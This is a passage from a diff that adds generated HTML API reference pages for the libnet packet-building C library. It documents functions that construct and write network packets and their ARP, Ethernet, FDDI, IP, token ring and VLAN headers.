+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>the ptag referencing the header to pull </td></tr>
+ <tr><td valign=top><em>header</em>&nbsp;</td><td>will contain the header </td></tr>
+ <tr><td valign=top><em>header_s</em>&nbsp;</td><td>will contain the header size </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>1 on success, -1 on failure </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a98" doxytag="libnet-functions.h::libnet_adv_cull_packet" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> int libnet_adv_cull_packet </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t **&nbsp;</td>
+ <td class="mdname" nowrap> <em>packet</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>packet_s</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+[Advanced Interface] Yanks a prebuilt, wire-ready packet from the given libnet context. If libnet was configured to do so (which it is by default) the packet will have all checksums written in. This function is part of the advanced interface and is only available when libnet is initialized in advanced mode. It is important to note that the function performs an implicit malloc() and a corresponding call to <a class="el" href="libnet-functions_8h.html#a101">libnet_adv_free_packet()</a> should be made to free the memory packet occupies. If the function fails <a class="el" href="libnet-functions_8h.html#a9">libnet_geterror()</a> can tell you why. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>packet</em>&nbsp;</td><td>will contain the wire-ready packet </td></tr>
+ <tr><td valign=top><em>packet_s</em>&nbsp;</td><td>will contain the packet size </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>1 on success, -1 on failure </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a101" doxytag="libnet-functions.h::libnet_adv_free_packet" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> void libnet_adv_free_packet </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>packet</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+[Advanced Interface] Frees the memory allocated when <a class="el" href="libnet-functions_8h.html#a98">libnet_adv_cull_packet()</a> is called. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>packet</em>&nbsp;</td><td>a pointer to the packet to free </td></tr>
+ </table>
+</dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a100" doxytag="libnet-functions.h::libnet_adv_write_link" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> int libnet_adv_write_link </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>packet</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>packet_s</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+[Advanced Interface] Writes a packet the network at the link layer. This function is useful to write a packet that has been constructed by hand by the application programmer or, more commonly, to write a packet that has been returned by a call to <a class="el" href="libnet-functions_8h.html#a98">libnet_adv_cull_packet()</a>. This function is part of the advanced interface and is only available when libnet is initialized in advanced mode. If the function fails <a class="el" href="libnet-functions_8h.html#a9">libnet_geterror()</a> can tell you why. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>packet</em>&nbsp;</td><td>a pointer to the packet to inject </td></tr>
+ <tr><td valign=top><em>packet_s</em>&nbsp;</td><td>the size of the packet </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>the number of bytes written, or -1 on failure </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a33" doxytag="libnet-functions.h::libnet_autobuild_arp" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_autobuild_arp </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>op</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>sha</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>spa</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>tha</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>tpa</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Autouilds an Address Resolution Protocol (ARP) header. Depending on the op value, the function builds one of several different types of RFC 826 or RFC 903 RARP packets. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>op</em>&nbsp;</td><td>ARP operation type </td></tr>
+ <tr><td valign=top><em>sha</em>&nbsp;</td><td>sender's hardware address </td></tr>
+ <tr><td valign=top><em>spa</em>&nbsp;</td><td>sender's protocol address </td></tr>
+ <tr><td valign=top><em>tha</em>&nbsp;</td><td>target hardware address </td></tr>
+ <tr><td valign=top><em>tpa</em>&nbsp;</td><td>targer protocol address </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a29" doxytag="libnet-functions.h::libnet_autobuild_ethernet" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_autobuild_ethernet </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>dst</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Autobuilds an Ethernet header. The RFC 894 Ethernet II header is almost identical to the IEEE 802.3 header, with the exception that the field immediately following the source address holds the layer 3 protocol (as opposed to frame's length). You should only use this function when libnet is initialized with the LIBNET_LINK interface. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>dst</em>&nbsp;</td><td>destination ethernet address </td></tr>
+ <tr><td valign=top><em>type</em>&nbsp;</td><td>upper layer protocol type </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a31" doxytag="libnet-functions.h::libnet_autobuild_fddi" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_autobuild_fddi </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>fc</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>dst</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>dsap</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ssap</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>cf</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>org</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Autobuilds a Fiber Distributed Data Interface (FDDI) header. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>fc</em>&nbsp;</td><td>class format and priority dst destination fddi address </td></tr>
+ <tr><td valign=top><em>dsap</em>&nbsp;</td><td>destination service access point </td></tr>
+ <tr><td valign=top><em>ssap</em>&nbsp;</td><td>source service access point </td></tr>
+ <tr><td valign=top><em>cf</em>&nbsp;</td><td>cf </td></tr>
+ <tr><td valign=top><em>org</em>&nbsp;</td><td>IEEE organizational code </td></tr>
+ <tr><td valign=top><em>type</em>&nbsp;</td><td>upper layer protocol </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a47" doxytag="libnet-functions.h::libnet_autobuild_ipv4" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_autobuild_ipv4 </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>len</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>prot</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>dst</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Autobuilds a version 4 Internet Protocol (IP) header. The function is useful * to build an IP header quickly when you do not need a granular level of control. The function takes the same len, prot, and dst arguments as <a class="el" href="libnet-functions_8h.html#a45">libnet_build_ipv4()</a>. The function does not accept a ptag argument, but it does return a ptag. In other words, you can use it to build a new IP header but not to modify an existing one. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>len</em>&nbsp;</td><td>total length of the IP packet including all subsequent data </td></tr>
+ <tr><td valign=top><em>prot</em>&nbsp;</td><td>upper layer protocol </td></tr>
+ <tr><td valign=top><em>dst</em>&nbsp;</td><td>destination IPv4 address (little endian) </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a53" doxytag="libnet-functions.h::libnet_autobuild_ipv6" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_autobuild_ipv6 </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>len</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>nh</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>struct libnet_in6_addr&nbsp;</td>
+ <td class="mdname" nowrap> <em>dst</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+This function is not yet implement and is a NONOP. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>len</em>&nbsp;</td><td>length </td></tr>
+ <tr><td valign=top><em>nh</em>&nbsp;</td><td>next header </td></tr>
+ <tr><td valign=top><em>dst</em>&nbsp;</td><td>destination IPv6 address </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a92" doxytag="libnet-functions.h::libnet_autobuild_link" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_autobuild_link </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>dst</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>oui</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Automatically builds a link layer header for an initialized l. The function determines the proper link layer header format from how l was initialized. The function current supports Ethernet and Token Ring link layers. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>dst</em>&nbsp;</td><td>the destination MAC address </td></tr>
+ <tr><td valign=top><em>oui</em>&nbsp;</td><td>Organizationally Unique Identifier (unused for Ethernet) </td></tr>
+ <tr><td valign=top><em>type</em>&nbsp;</td><td>the upper layer protocol type </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a64" doxytag="libnet-functions.h::libnet_autobuild_token_ring" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_autobuild_token_ring </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ac</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>fc</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>dst</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>dsap</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ssap</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>cf</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>org</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Auto-builds a token ring header. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>ac</em>&nbsp;</td><td>access control </td></tr>
+ <tr><td valign=top><em>fc</em>&nbsp;</td><td>frame control </td></tr>
+ <tr><td valign=top><em>dst</em>&nbsp;</td><td>destination address </td></tr>
+ <tr><td valign=top><em>dsap</em>&nbsp;</td><td>destination service access point </td></tr>
+ <tr><td valign=top><em>ssap</em>&nbsp;</td><td>source service access point </td></tr>
+ <tr><td valign=top><em>cf</em>&nbsp;</td><td>control field </td></tr>
+ <tr><td valign=top><em>oui</em>&nbsp;</td><td>Organizationally Unique Identifier </td></tr>
+ <tr><td valign=top><em>type</em>&nbsp;</td><td>upper layer protocol type </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a23" doxytag="libnet-functions.h::libnet_build_802_1q" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_802_1q </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>dst</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>src</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>tpi</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>priority</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>cfi</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>vlan_id</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>len_proto</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds an IEEE 802.1q VLAN tagging header. Depending on the value of len_proto, the function wraps the 802.1q header inside either an IEEE 802.3 header or an RFC 894 Ethernet II (DIX) header (both resulting in an 18-byte frame). If len is 1500 or less, most receiving protocol stacks parse the frame as an IEEE 802.3 encapsulated frame. If len is one of the Ethernet type values, most protocol stacks parse the frame as an RFC 894 Ethernet II encapsulated frame. Note the length value is calculated without the 802.1q header of 18 bytes. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>dst</em>&nbsp;</td><td>pointer to a six byte source ethernet address </td></tr>
+ <tr><td valign=top><em>src</em>&nbsp;</td><td>pointer to a six byte destination ethernet address </td></tr>
+ <tr><td valign=top><em>tpi</em>&nbsp;</td><td>tag protocol identifier </td></tr>
+ <tr><td valign=top><em>priority</em>&nbsp;</td><td>priority </td></tr>
+ <tr><td valign=top><em>cfi</em>&nbsp;</td><td>canonical format indicator </td></tr>
+ <tr><td valign=top><em>vlan_id</em>&nbsp;</td><td>vlan identifier </td></tr>
+ <tr><td valign=top><em>len_proto</em>&nbsp;</td><td>length (802.3) protocol (Ethernet II) </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a24" doxytag="libnet-functions.h::libnet_build_802_1x" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_802_1x </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>eap_ver</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>eap_type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>length</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds an IEEE 802.1x extended authentication protocol header. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
